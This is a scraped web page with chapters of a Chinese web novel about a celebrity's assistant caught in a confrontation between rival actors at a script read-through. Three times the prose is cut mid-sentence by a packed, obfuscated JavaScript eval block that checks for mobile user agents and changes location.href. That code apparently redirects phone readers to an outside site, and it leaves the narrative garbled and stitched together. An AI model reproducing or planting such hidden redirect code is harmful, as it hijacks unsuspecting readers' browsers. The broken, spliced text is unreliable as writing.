“有有有，”宋依依从大衣口袋里掏出被自己折成三段的剧本，“不好意思，大衣口袋太浅装不进去，被我折成这样了。” 她又理了理自己的大衣下摆：“早知道不穿这么麻烦了，下次我也学你那么穿。” 宁茉愣了一下，低头看着自己一身黑的搭配，黑色运动服、黑色牛仔裤、黑色运动鞋，背包也是之前在路边摊随手买的价值不到一百元黑色小背包，实在不知道自己这一身有什么好借鉴的。 不过在看到宋依依一件明黄色大衣配一件浅黄色连衣裙，怎么坐都不方便的时候，就大概明白了她的意思： 宋依依的穿搭都很时尚亮眼，精致漂亮的小裙子小皮鞋虽然看起来赏心悦目，但在外出工作时并不方便，尤其是现下这样需要减少存在感的场合，宋依依显得有些显眼，从进来时就有不少人多看了她几眼。 陆续有人进来，导演陈昌周围很快就围满了人，两个副导演也入座了，只剩两个主演还没来。 距离定好的开始时间只剩几分钟，不少人望着门口，在等男女主演。 宁茉这一会儿的功夫已经看完了剧本大纲，理清了萧扬这次接的角色人设。 和以往总是伟光正的角色不同，萧扬这次挑战了一个难度很高的反派，是《如意环》中的男三号，一个野心勃勃的权臣，几乎没有感情线，对所有人都是利用，从头到尾都十分专一，大权在握，并且是直到剧本最后一集才下线，前期几乎都是压着男主打。 这样的反派争议通常都很大，如果演的好了能加分，一旦用力过猛、或是剧里给人观感太差，很可能会失去观众缘、被狠狠唾弃。 宁茉知道萧扬演技很好，但她不确定萧扬的演技有没有好到能驾驭这种角色的地步。 想着想着，宁茉的目光不自觉看向萧扬，也许是感受到了这份目光，萧扬微微侧头，朝着她们的方向看了一眼。 角落里的两个女生安安静静坐在蒲团上，显得十分乖巧，宋依依一身明黄衣装、梳着可爱的丸子头，坐着也不安分，忍不住地东张西望；一旁的宁茉却显得低调异常，一身黑衣，头发扎成一个简单的马尾，身上没有任何多余的首饰，眼睛却十分清澈明亮，看了自己一眼，又低下头，继续看手中的东西。 萧扬辨认了几秒，意识到她在看《如意环》的剧本，眸光微诧，显然没想到宁茉会对这个感兴趣。 门外传来一阵脚步声，似乎是几个人正在快步走来，下一秒茶室的门被服务生拉开，一张漂亮明媚的脸露了出来。 “对不住，我来迟了！” 萧扬转回了头，看向站在门口的秦娇娇。 秦娇娇穿着一件深褐色的风衣，里面是件剪裁精细的米黄色毛衣，下身穿着浅褐色的宽松长裤，头发精心做了造型，一头灰栗色卷发柔顺地披在肩头，脸上也化着精致漂亮的妆，她五官大气、举止优雅，只是一个露面就惊艳了屋内的不少人。 陈昌笑着打招呼：“不迟不迟，正好，位置都给你留好了。” 他指了指自己正对面的位置，秦娇娇脱了风衣外套，快步走过去坐下：“不好意思让大家久等了，晚饭我请了。” 陈昌笑了：“今天是我的局，你可抢不了。” 秦娇娇只好眨眨眼：“那好吧，我请大家喝饮料。” 她又看向坐在自己左侧和自己隔了几个位置的萧扬：“萧扬~我们又合作了。” 萧扬朝她点点头：“娇娇姐好。” 秦娇娇皱了皱眉：“还是这么生疏，都说了叫我娇娇就好了。” 萧扬不得不改变了称呼：“娇娇，很荣幸这次能和您合作。” “我也很荣幸，”乔娇娇朝他眨眨眼，“你比以前更帅了，穿古装肯定很好看。” 陈昌微微有些惊讶：“你们认识？” “是啊，”秦娇娇笑着解释道，“几年前合作过，那个时候我还在演女二号呢。” 陈昌顿时开心道：“太好了，认识更好，不用再磨合了。” 屋子里自从秦娇娇进来后就热闹了起来，宁茉也抬头看向她。 秦娇娇是《如意环》的女主演，也是陈昌的钦点的女主角，业内口碑很好，据说又敬业又会打点人情，甫一进来，助理就跟在她身后给屋子里的工作人员发饮料。 宋依依已经激动地张望半天了：“秦娇娇！是秦娇娇！天啊她本人好漂亮啊！” “嘘，”宁茉拉住她的衣袖，“小点声，以后有机会见的，别激动。” 宋依依高兴的脸色发红：“我一定要拿到她的签名！” 宁茉不再管激动的宋依依，转而看向门口，眉头微皱。 已经两点半了，原定该到的男主角姜明辰却还没有出现。 屋子里有人也在频繁的看时间，门口一个人站起来开始打电话。 这时，宋依依突然朝着宁茉凑过去。 “茉茉，霍姐发消息了，”宋依依小声说，“她说让我们多拍拍视频和图片，以后剧宣的时候可以做宣传物料，不过……我不太会剪视频，茉茉你会吗？” 宁茉点了点头：“会。” “那就好，”宋依依松了口气，“回头我一定要学会这个技能，这次我就先拍照啦，视频你拍吧。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14406805|153489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “好。” 两个人分好了工，宁茉拿出手机，又点开微信界面看了一眼，界面很干净，没有新消息提醒。 再点开和霍妍的对话框，宁茉看到她和霍妍的聊天记录只有最初加了好友后的一句打招呼，再没有别的消息。 关于这次外出的具体任务，霍妍直接下达给了宋依依——就连最开始，霍妍也只打算让宋依依一个人跟，只不过因为宋依依不太会开车，才让自己也跟了过来。 看来在霍妍的心中，这两位新人的次序都要排在自己面前。 …… 两点四十，屋子里的气氛终于有了一丝变化，男主演明目张胆的迟到让很多人开始议论，就连宋依依都忍不住小声说：“姜明辰怎么还不来啊？” 宁茉摇摇头：“可能路上耽误了，依依，你了解姜明辰这个人吗？” 自己这两年只忙着打工，没有关注娱乐圈的动态，娱乐圈更新换代一向很快，很多人她都已经不了解了，看来后续还需要狠狠补课。 宋依依小幅度地点头：“他是年初因为一部爆剧刚火起来的，才23岁，听说家里很有背景，是个有钱的公子哥。” 仅仅这两句描述，宁茉已经隐隐感觉这个姜明辰似乎不好打交道，还没再问，门外已经传来一阵喧闹。 有一阵杂乱的脚步声在朝着茶室走来，听起来人数不少，宁茉的视线被屏风挡着看不到室外，但看着门口几个人起身去迎接的动作，猜大概率是姜明辰来了。 下一秒，一个人影快步走了进来：“不好意思各位，路上堵车了。” 那人露面的瞬间，宋依依小声说道：“就是他！” 姜明辰是个典型的当代帅哥长相，五官端正，头发精致到每一根发丝，脸型轮廓分明，穿着一身造价不菲的名牌衣服，在室内依旧戴着墨镜，手腕上的钻石表盘折射着细碎的光，有些晃眼。 他虽然是快步走进来的，脸上却没有一点着急的样子，甚至还站在门口慢条斯理地脱掉了大衣和围巾，随手递给了身边站着的工作人员。 看到姜明辰进来，茶台边围坐的一圈人除了陈昌和秦娇娇，其余人都站了起来，笑着和姜明辰打招呼。 “姜哥，来了！” “明辰，你迟到了哦。” “小姜今天很帅啊。” 姜明辰理了理衣袖，笑着走过来，却没有理和他打招呼的那群人，只是径直走到陈昌面前：“陈导，没等着急吧？” 陈昌脸上挂着浅浅的笑：“刚开始嘛，难免出意外，以后注意就好了。” “那当然了，下次绝不会迟到，我保证，”他说这句话时语气不算诚恳，陈昌却也没有追究。 姜明辰摘了墨镜，大咧咧坐到了陈昌身边，那是唯一一个空位，也是专门给他预留的，随后拍了拍手：“开始吧？” 宁茉从姜明辰进来就在暗暗地打量他，从他那一系列动作和对工作人员的态度判断出，姜明辰大概是个有些以自我为中心、脾气不小的人，就连本该是陈昌主场的围读会，也是他宣布的开始。 众人开始正式围读，宋依依拿出手机拍了张萧扬，随后有些懊恼：“我错了，我们应该坐到他对面的，这样拍不到正脸。” 宁茉看了眼对面的蒲团，几乎都被工作人员挤满了，现在移动过去是来不及了，只能等会儿看看有没有机会站起来到对面拍一下。 陈昌给大家讲了讲戏，又让副导演调出定妆照，给大家阐释每个人物的性格和特色。 这是宁茉第一次看到《如意环》的定妆照，郑业广不愧是做出了很多部精品爆剧的人，给《如意环》的妆造十分用心，男女主的造型都是根据演员本身的长相气质，融合了剧里人物的人设，短短三十集剧，光秦娇娇的造型就有五十三套，姜明辰的造型也大多帅气华丽，各种身份之间从配饰到花纹都做了细心的区分。 屋子里不少人都在夸郑业广团队造型做得好，每个主角的样子都让人眼前一亮。 定妆照翻到萧扬时，宁茉微微一怔，屋子里也很明显地安静了一瞬。 萧扬在剧里演的是个权臣，服装光从布料上看就已经足够名贵，更难得是层层华服下他身姿依旧挺拔，腰身细而有力，头发全部束起，头上戴着玉冠，颇有些斯文的意思。 萧扬是标准的天庭饱满、脸型流畅，光是一张脸就足够好看，加上他一双桃花眼此刻带着冷意、眼神锋利，周身气场摄人，仅仅是对着镜头不动声色的一个抬眸，角色阴鸷野心的一面已经被完美呈现出来。 光是一张定妆照就这么惊喜，宁茉可以想见《如意环》正式播出时，大家会被怎样惊艳。 她甚至听到屋子里有几个人不约而同地倒吸了一口凉气：“天呐，好帅。” “原来萧扬古装这么帅啊！” “这男三号看起来比男主还帅啊！” 而方才听着众人夸赞还一脸笑意的姜明辰，脸色瞬间就变得难看起来。 4. 第 4 章 就连陈昌也惊喜地看向萧扬：“萧扬，你很适合这次的造型啊。” 萧扬礼貌回应道：“陈导客气了，都是郑老师团队的功劳。” 陈昌哈哈大笑：“你也太谦虚了，《如意环》能找来你演宗怀衡，是我运气好啊。” 他太清楚一个有魅力的反派塑造好了能有多加分了，甚至对整个剧都是质的提升，当初萧扬试镜了三次，在一百多个竞争者里抢到了这个角色，陈昌为了他推掉了不少熟人的推荐，而萧扬也不负众望，给他带来了不少惊喜，连这部剧的重要投资商也是他拉来的。 在无数的夸赞声中，姜明辰突然冷笑了一声：“萧扬这造型真是用心啊，不知道的还以为这位才是男主角呢。” 屋子里的气氛瞬间冷了下来，姜明辰脸上挂着笑容，眼底却没有一丝笑意。 《如意环》是姜明辰精心挑选的剧本，因为男主人设足够好，配置班底也很强大，女主演更是口碑人气都很好的秦娇娇，年龄比自己大，还可以炒一炒最近很火的姐弟恋cp，为此他向家里争取了几次，硬生生挤走了之前的几个男主备选，拿到了这个男主角。 一切都准备好了，却半路杀出个萧扬，光是一张脸就赢了他不少，再加上这个华丽的造型，前期男主姜序又是个隐藏身份的布衣平民，和萧扬的差距实在太大，光芒恐怕都要被萧扬抢走了。 秦娇娇眼看姜明辰脸色不好，笑着打圆场：“说什么呢？宗怀衡虽然帅，但是一看就是个坏人啊，还得是我们玉树临风的姜序好看。” 她比姜明辰大四岁，年少出道，在娱乐圈摸爬滚打了多年，最知道人情世故，也很善于哄好姜明辰这样的人，她特意避开萧扬的名字，只说《如意环》里的人物名，故意强调姜明辰才是男主姜序的扮演者。 姜明辰脸色稍微缓和了些，故意问秦娇娇：“真的吗？” “当然了，”秦娇娇眨眨眼，语气真诚，“我反而觉得你那身白衣是最帅的，后面入朝堂那几套太官方沉闷了，不如前面的随性帅气。” 她特意点出朝堂的造型沉闷，自然也是意有所指。 姜明辰笑了出来：“要不让郑业广改改我后面的造型，换个潇洒一点的？” 陈昌身边的副导演脸色顿时有些发青：造型早就定好了，现在说要改哪有那么容易，而且郑业广一定会生气，到时候恐怕更不好收场。 秦娇娇故作思考了几秒，摇摇头：“算了，太多一样的也不好，就是要各种风格都有，才显得我们这部剧内容丰富嘛~” 这话说的有理有据，姜明辰点点头，难得没有再反驳。 这件事算是就这么过去了，围读会继续，宁茉也跟着长长松了一口气。 姜明辰这脾气太难控制了，万一他刚才真的借机发难，宁茉很难想象以萧扬的性格会怎么应对。 萧扬是个看起来温和，内里却十分专一固执的人，认定的事情绝不会改，否则也不能做到在影视学院时专业成绩年年第一的地步。 这样的人面对傲慢自大却背景强大的姜明辰，是很容易吃亏的。 围读会一直持续到了晚上，中间有工作人员来送晚餐，是摆盘精致的日料，看起来价值不菲，宁茉和宋依依也跟着沾了光。 之后围读会继续，宁茉听着听着，发现这些人中表现突出的有两个人。 一个就是秦娇娇，秦娇娇演戏一直坚持自己原声出演，这些年台词练得很好，发言字正腔圆，台词慷锵有力，相比之下，总是用配音的姜明辰就显得台词稍逊一筹，有些重要戏份的台词竟然还会念错。 在这一群人中，另一个比较显眼的就是萧扬了，萧扬苦练过几年台词，加上他声音天生低沉磁性，一旦进入人设，声音便变得充满压迫性，和他对戏的好几个演员都被他压的台词有些磕巴。 陈昌看萧扬的目光越来越充满赞赏，他没想到自己竟然挖了个宝贝出来。 姜明辰的眉头却皱的越来越紧了，在一段和萧扬的对场戏中，他突然爆发，“啪”地摔了台本。 “这剧情什么东西？我凭什么要被宗怀衡威胁？这一段宗怀衡这么强势，你让我怎么演？改，必须改！” 现场一片死寂，陈昌阴着脸没有说话，就连秦娇娇一时间也有点愣住了。 宁茉瞬间攥紧了手里的剧本，抬头看向萧扬，眼眸里满是担忧。 萧扬的神色却十分冷静，淡淡开口：“这个时候你还没有回宫，在宗怀衡眼里是个随时可以被除去的皇子，这样的态度很正常。” 姜明辰瞪向萧扬：“我一个武功这么厉害的大侠，还会怕你？！这段都快把你写上天了！” 他声音大到整个屋子里都回荡着回音，语气尖锐，明显是冲着萧扬在发火。 “……不是怕，而是有所顾忌，”萧扬神色没有一点恼怒，声音也很平和，“第一，宗怀衡是当朝重臣，养尊处优，气场强是正常的，否则没有说服力；第二，这里宗怀衡是拿整个明光谷作为威胁，姜序武艺高强自然不怕，但明光谷上下一百多人，哪怕因为姜序死了一个他都不能接受，姜序要顾及自己身后的人，才会这么妥协。” 他说话有理有据，对剧情的分析也头头是道，连每个人物的人设都分析地很透彻，让人再没有了反驳的余地。 陈昌开了口：“是啊，你这个时候不厉害，才显得你后面厉害嘛，欲扬先抑。” 秦娇娇也笑着应和：“而且他虽然强势，不代表你就是弱势呀，要看你发挥的嘛，《如意环》里每个人物都有亮点，这部剧才好看啊。” 大家也笑着缓和气氛。 “就是，这段也很正常嘛。” “确实憋屈，但没事，后面我们虐回去！” “明辰那么帅，演点脆弱的戏才更有魅力啊~” 姜明辰一腔火没处发，众人又纷纷附和，他冷笑一声，不再说话。 姜明辰的一个年轻男助理捡起被他扔了的剧本，重新翻到那一页放到他面前，姜明辰不耐烦地拍开他的手，语气急躁：“滚开！” 男助理脸上却没有太大反应，像是习惯了这样，转身退到了后面。 宋依依看得目瞪口呆，忍不住凑近小声说：“天哪茉茉，以前我看那些艺人欺负助理的新闻都不信，以为是营销号乱说的，现在才知道竟然真的有这样的事情！亏他在外面形象那么好，怎么私底下……” “嘘！”宁茉迅速抓住宋依依的手，制止了她的话，“别说了。” 宋依依愣了一下，这才意识到周围都是工作人员，轻咬了下舌头，小心翼翼地坐直身体，不再讨论了。 宁茉又看了一眼萧扬，确认他是真的没有生气，才将目光重新移到剧本上。 在公司上班的那两年，姜明辰这样的人她也见得多了，站在高位的人，通常是很难对底下的人有同理心的，他们做事总有人助力，就理所当然地以为其他人也该和自己一样。 不过萧扬这次的表现大大超出了她的意料，她印象中的萧扬很少会因为什么原因忍耐，在片场会因为戏不合理而据理力争，会因为接到的代言产品是三无产品而拒绝代言，会因为不愿意喝酒而推掉不少酒局，因此明里暗里得罪了不少人，连粉丝都吐槽萧扬是个“绝不屈服”的人，谁也别想让他低头。 也许是出道的这五年让他成长了，又或者是这次机会对他实在重要，让他可以忍下这些挑衅和恶意。 茶室内摆着钟表，此刻时针已经过了十二点，茶室内却没有一点要散场的痕迹，今天要读的剧本内容也才读了三分之二。 宋依依已经困得上下眼皮打架了，她头上下点了几下，又被自己的动作晃醒了。 宁茉眼看周围不少人都开始离席，轻轻推了推宋依依：“依依，拍几张照片，然后找个地方休息吧。” 宋依依困得有些茫然，扭头看向她，过了几秒才反应过来，急急忙忙地起身，找了个角度又拍了几张萧扬工作照，随后跟着几个工作人员出去了——周围的茶室没有人，垫子又软，可以暂时躺一会儿。 宁茉又看向萧扬，他的状态看起来很精神，宁茉记得王墨说过萧扬昨晚是忙到了凌晨四点才回来，可他竟然没有一点困倦的样子，也不知道萧扬是怎么保持精力的。 这时，萧扬却突然回头看向了她，宁茉微微一怔，下意识倾身向前，以为萧扬是有什么要求。 可萧扬却只是低声对她说了句什么，不远处的男女主正在对台词，声音盖过了萧扬的，宁茉没有听清。 于是她悄悄起身，走到萧扬身后蹲了下来，认真问道：“什么？” 萧扬一顿，看着眼前突然靠近的宁茉，一双清澈的眼睛里满是认真，丝毫没有已经等了一晚上的不耐。 他低声重复了一遍：“累的话先去休息吧，这里没什么事。” 萧扬今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14406806|153489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天也喷了那种宁茉觉得好闻的香水，混合着雪松和檀木味道，还带着柑橘香气，若隐若现，宁茉分神了几秒，才回答了萧扬。 “没关系的，我不累，”她摇摇头，又追问了一句，“你喝咖啡吗？我去给你买。” 她看萧扬喝了一下午加一晚上的茶，总觉得自己嘴里也跟着发涩。 “不用。”萧扬看她拒绝休息，也没有再坚持，回头继续看自己的剧本。 宁茉左右看了看，在场的工作人员走了不少，导演陈昌出去接电话，暂时没对场戏的演员们也出去休息了，屋子里相对刚开始的氛围要轻松一些，她来时坐的位置角度不好，一直没怎么拍到萧扬的正面，这会儿是个好机会。 宁茉悄悄起身，移动到了萧扬斜对面的一个角落，举着手机调试角度。 萧扬余光注意到了她的动作，看了她一眼，两人对视了几秒，宁茉心虚地移开目光：被萧扬发现自己一直没怎么拍视频这件事了。 萧扬则不自觉地将注意力放到了宁茉的手机壳上，宁茉的手机壳是粉红色的，这也是她身上唯一的色彩了，手机壳顶端有个小兔耳朵，看着十分可爱。 萧扬定定地看了几秒，才意识到自己分神了，又将目光垂下。 宁茉将画面放大，萧扬的正脸就清晰地出现在屏幕里，她呼吸一顿，暗自感叹真是好上镜的一张脸，萧扬坐的也端正，即使大家已经累了一晚上、不少人都趴下了，萧扬却始终端端正正地坐着，挺直脊背，连脖子都没有前倾一下。 唯一的问题就是自己的手机晚上感光不好，拍的不是很清晰，宁茉试图调整参数，对着屏幕点了半天，却突然听到一声突兀的“喂！”。 整个屋子安静了一瞬，宁茉略带茫然地抬头，意外地对上姜明辰怒气冲冲的双眼：“你在拍什么？谁允许你拍了？” 她愣了几秒，意识到姜明辰以为自己在拍他，立刻解释道：“不好意思，我在拍萧扬，你没有入镜。” 姜明辰却眉头皱紧，声音更大了：“剧都还没拍，谁让你拍这些台词内容的？再说了，你说没有就没有？” 宁茉脸色迅速地开始发红，她猝不及防地成为了全屋的视线中心，就连两个副导演和秦娇娇也在看她。 姜明辰完全是在找茬——刚才有不少工作人员都在拍照，门口架了不少摄像机，这场围读会明明是可以拍的，却被姜明辰说成她不懂规矩、私自拍摄物料。 而且他是看准了时机的，屋子里唯一能制衡他的陈昌出去了，现在他可以肆无忌惮地发火。 宁茉温声解释道：“姜老师，我是萧扬的助理，我全程都在拍他，您放心，我保证这些内容在剧播出前不会流传到网上，我也保证这些视频里不会出现您的任何身影。” 姜明辰却根本不听她的话，只是冷哼一声：“阿仁，你去看一下。” 旁边立刻有一个男助理走上前，要看宁茉的手机。 宁茉脸色发烫，捏紧了手机退后了两步，姜明辰实在太过分了，连翻别人手机这种事情都觉得可以随便做。 那男助理见她拒绝，表情不耐烦地伸手要抢她的手机，宁茉还要拒绝，屋子里突然响起另一道满是寒意的声音。 “她是我的助理，”萧扬沉声道，“你干什么？” 男助理一愣，动作一停，下意识扭头看向姜明辰。 姜明辰眉头竖起，看向萧扬：“萧扬，你什么意思？” 和之前几次避让不同，此刻的萧扬目光如炬，冷冷看着姜明辰，丝毫没有退让之意：“演员拍围读会内容再正常不过，你为什么说她有问题？而且手机是私人物品，谁允许你看的？” “啪！！！”姜明辰猛地拍了一下桌子，“萧扬！你他妈什么意思？你觉得我在找茬？” 萧扬冷笑了一声：“难道不是吗？你找了一晚上了。” 现场气氛一下子冷了下来，房间里寂静无声，温度仿佛也跟着瞬间下降了不少。 秦娇娇的目光好奇地看向一旁站着的宁茉，她以前没有见过这个女孩，有些意外萧扬忍了姜明辰一晚上，竟然会为了维护这个女孩而发火。 姜明辰眼底闪过一丝不敢置信，他难以想象自己刚才听到了什么，怒气冲红了他的脸，表情也瞬间变得狰狞什么：“你说什么？你再说一遍？” 萧扬语气冷静，一字一句道：“我说你有病。” “……” 5. 第 5 章 有那么一瞬间，宁茉突然有点想笑，方才的气愤一扫而空，只剩忍俊不禁。 她没想到萧扬会一脸正经地说出这么一句话，再看姜明辰的脸色，几乎快黑成碳灰了。 “萧扬！！！”姜明辰双眼血红，积蓄了一晚的不满情绪猛地爆发，冲他吼道，“你他妈以为自己是什么东西？演个男三还这么跟我拿腔拿调的？” “我告诉你！这剧我舅舅就是投资方，换你，那就是一句话的事！” “别觉得你多厉害，你以为我不知道你那点心思？想踩着我上位？我呸！” 他伸手一挥，手边的茶杯猛地摔在萧扬脚边，清脆地炸成了碎片。 现场不少人都愣住了，大概都没想到姜明辰会这么暴躁，一些胆子小点的女演员吓得直往后缩，生怕卷进这场冲突里。 宁茉见他说话越说越难听，一股无名火窜上心头，搅得整个胸腔都跟着快速跳动起来，原本没什么血色的脸现在变得越来越红。 实在是欺人太甚了，姜明辰不过是仗着有个好靠山，凭什么这样瞧不起别人？ 萧扬也是正经通过了三轮试镜、凭自己实力拿到的角色，难道就因为表现得比他出彩，姜明辰就可以这样随意地踢人出局吗？！ 她眼看姜明辰还要骂，再也站不住了，猛地抬脚，几步绕过茶台，捏着手机就要往姜明辰面前走。 这时，一直坐着的萧扬却突然有了动作，他在宁茉路过自己的瞬间伸手，精准地抓住了宁茉的手腕。 宁茉手腕很是细瘦，能被他一只手松松圈住，萧扬稍微用了点力气，宁茉便停了下来，转头看向自己，神情带了点惊诧和疑惑。 萧扬起身挡在宁茉身前，却没有松开拉着宁茉的手。 手腕处传来温热的触感，宁茉抬头看着眼前高大的背影，微微怔了一下：她以前从没注意过，原来萧扬长得这么高，离自己这样近的时候，几乎能挡住周边所有的视线。 “姜明辰。” 萧扬开口，声音冷的惊人：“你是我之后的合作演员，我不想当着这么多人和你吵架，但你也要知道，这部戏不止姜家一个资方。” 姜明辰冷哼一声，满脸不屑：“你什么意思？” 萧扬眉目冷凝，眼底像结了霜，气势惊人：“《如意环》这部戏，南黄集团也投了资，而且占比不小，我当然可以退出，但我退出，南黄也会撤资。” 他这句话语气冷淡，却像一记惊雷炸响在茶室内，所有人都愣住了。 南黄集团！ 在场都是吃这一行饭的，没人会不知道南黄集团在娱乐圈的地位，这个大公司眼光刁钻，在圈内屹立数十年，投资剧的几乎部部都是爆剧，旗下更是有无数明星，当下娱乐圈最红的几位明星，五位能有三位都出自南黄。 萧扬竟然拉来了南黄的投资？！可他为什么从没有声张过，就连试镜也是自己报名的？ 而且如果南黄站在萧扬的背后，那这部《如意环》的整体配置很可能会再升一级。 更重要的是，这意味着南黄已经将萧扬看成下一个投资对象，原先众人都以为籍籍无名的萧扬，以后的前途或未可知，就连现在正和他叫嚣的姜明辰，也不一定日后就比他强。 有不少人已经打起了小算盘，看向萧扬的目光里也多了些别的意味。 姜明辰却还有些惊疑不定：“你……你胡说八道什么？南黄集团怎么可能因为你撤资……” 他虽然说话内容并不服气，语气却已经带了点犹豫。 萧扬冷笑一声：“信不信由你，但你要为今天的事情道歉，否则——南黄还是会撤资。” 他这句话说完转身就走，拉着宁茉快步离开了茶室。 宁茉被他拉着手腕半天没回过神，走到两人走了一段才如梦初醒：“等等……” 萧扬脚步一停，转身看向她。 “依依还在里面……”宁茉眨眨眼，作势要收回手腕，“我去叫她。” “不用，我们在车里等她。” 萧扬说着转身要走，又顿了一下，才松开一直拉着宁茉的手。 手腕处温柔的触感骤然消失，宁茉低头看了一眼手腕，目光又不自觉地移向前面萧扬的手。 “下次再遇到这种事——”直到萧扬的声音猛然响起，宁茉才回神看着他。 “不要再冲过来了。” 萧扬说这句话时并没有回头，宁茉的脚步微微放慢了些，又垂下眼帘，捏紧了手心。 萧扬是在说她刚刚的行为——她承认，有那么一瞬间她是想冲上去和姜明辰理论的。 那是种类似于护犊子的心理，自己曾经粉了那么多年、曾经把他当做榜样当做朋友的人，被人那么无耻卑鄙地骂，她怎么可能不生气？ 她上前的那一刻，根本没想过自己到底能不能说过姜明辰，会不会造成更不可收拾的后果。 现在想想……真的太傻了。 宁茉的脸后知后觉地开始发红，直到坐到车上也没有褪下温度。 她微微有点后悔，如果一开始自己没有站到对面去拍照，以萧扬的态度，姜明辰寻不到错处，也许这次冲突就不会起了。 现在围读会不欢而散，也不知道会不会让剧组的演员们有意见，影响对萧扬的看法。 胡思乱想了很久，连萧扬的目光朝她移了过来也没有察觉。 直到萧扬已经盯着她看了有一会儿，宁茉才意识到什么，转头看过去，正对上萧扬深沉的目光。 她愣了一下，听到萧扬开口道：“抱歉。” 宁茉一瞬间以为自己听错了。 萧扬看着她的眼睛，说道：“姜明辰是在找我的茬，连累你了，抱歉。” 他那双眼睛一贯深情，认真看着对方的时候，精致的眉眼更是让人目眩神迷。 宁茉眼睫猛地一颤，目光几乎不敢再和萧扬对视，微微有些狼狈地垂下眼帘，又略带慌乱地转头看向另一侧的窗外。 她想过很多萧扬可能会说的话，可能会说她不够谨慎，可能会说她没做错，也可能不再提这件事。 可她唯独没想过，萧扬会和自己道歉，说……是他连累了自己。 车里安静下来，宁茉两只手无意识地绞了绞，又捏住衣角，想了好一会儿，才开口道：“我也有错，我一开始不应该和他争辩，我……” 萧扬却并没有让她的检讨继续：“不是你的问题。” 宁茉还要说什么，余光却看到一道明黄色的身影正在靠近，转头一看，果然是宋依依来了。 宋依依是匆匆忙忙跑过来的，脸上还带着点刚睡醒的茫然和潮红，宁茉和萧扬都坐在后座，她一时间没看到坐在宁茉另一侧的萧扬，焦急地询问：“结束了？茉茉你怎么出来了也不叫我？萧扬呢？” 宁茉朝后一靠，露出正坐在身边的萧扬，宋依依一怔，顿时有些不好意思，脸也更红了：“……对不起啊萧扬哥……我睡着了，没听到铃声，来迟了。” 第一次出外勤就表现这么差，也不知道自己会不会被扣分。 萧扬淡淡开口：“没事。” 宋依依快步小跑去了副驾，又突然觉得不对劲，有些疑惑地转头：“……茉茉，你怎么坐在后面？” 来的时候是宁茉开的车，她现在坐在后座，是打算让谁开车？难不成浦世诚要来？——总不能让自己开吧？ 宁茉眨了眨眼，一时间不知道该怎么回答宋依依的问题——实际上她也有些疑惑，刚才走到车边的时候，宁茉自然而然地要往驾驶位坐，却被萧扬拦住了，要她坐到后座。 现在宋依依也来了，三个人齐了，驾驶位却没有人，车怎么开？ 萧扬开口了：“再等等。” 宋依依不知道他在等什么，好奇地左右看，宁茉却像是突然想到什么，目光看向不远处的茶楼。 已经是深夜一点了，这条街上的其他店面已经都打烊了，漆黑一片的街道上，只有店名还亮着灯。 然而那座茶楼却是灯火通明，通体金黄，明亮的灯光照亮着每一个从茶楼出来的人，也很快让人注意到两个朝着这边走来的人影。 是姜明辰和陈昌。 宁茉看向萧扬：“他们来了。” “嗯。”萧扬并没有动，也没有要下车的意思，宁茉只好也跟着继续坐着。 直到陈昌走近敲了敲玻璃，宁茉把玻璃降下来看着他。 “萧扬，怎么走了？”陈昌的语气很熟络，带着点惊讶，“我出去接通电话的功夫，回来就听说姜明辰和你闹了点不愉快，你没事吧？” 姜明辰满脸的不情愿，走到车前也不愿意正脸看萧扬，侧着头看向一边。 萧扬看向陈昌：“陈导，事情的经过我想你已经知道了。” “对对，我知道，真是不好意思，”陈昌一把拽住姜明辰，强行把他拉到了车前，“明辰这小子性格冲动，说话也难听，你别生气，看在我的面子上，让他给你道个歉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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萧扬的目光从宁茉身上移开，伸手推开门走下了车，一直走到陈昌身边，这才应道：“好，我不会迟到的。” 这句话一出，前排的宋依依突然“噗嗤”一声笑了出来。 她虽然不清楚发生了什么，但从萧扬和宁茉的提前离场、而陈昌抓着姜明辰追着道歉来看，一定是姜明辰找萧扬的茬波及到了宁茉，才会导致现在的情况。 而萧扬那句“不会迟到”，嘲讽的是谁可就十分明显了。 姜明辰本就气的发情的脸更难看了，他狠狠瞪了萧扬一眼，没再说话，转身大步离开了。 陈昌则笑着拍拍萧扬的肩膀：“南黄集团的秦总和我打过招呼了，以后你安心拍戏，我保证，在我的剧组，绝对不会再发生这种事情。” 他又笑道：“不过你也是，怎么不早点说你和秦总关系好？闹了这么大一场误会。” 萧扬的脸上挂上标准又无害的笑容：“南黄集团也是几天前才决定追加投资，我也是刚知道，能拉来南黄集团，多亏了我的经纪人浦世诚，其实和我关系不大。” 陈昌哈哈一笑：“前途无量啊萧扬，行了，很晚了，你们回去休息吧，明天下午两点半，我在这里等你们啊！” “好。” …… 宋依依盯着陈昌的背影，直到他的身影彻底远去，才猛地回头，扒着椅背好奇地问宁茉：“什么情况什么情况？！我不在的时候发生了什么？姜明辰欺负你了？这人可真是个混蛋！” “不过刚才萧扬哥好帅啊哈哈哈！你没见姜明辰那个灰头土脸的样子，他都快气死了！” “活该活该，谁让他那么嚣张，茉茉你别生气，我们不跟这种没素质的人计较！” 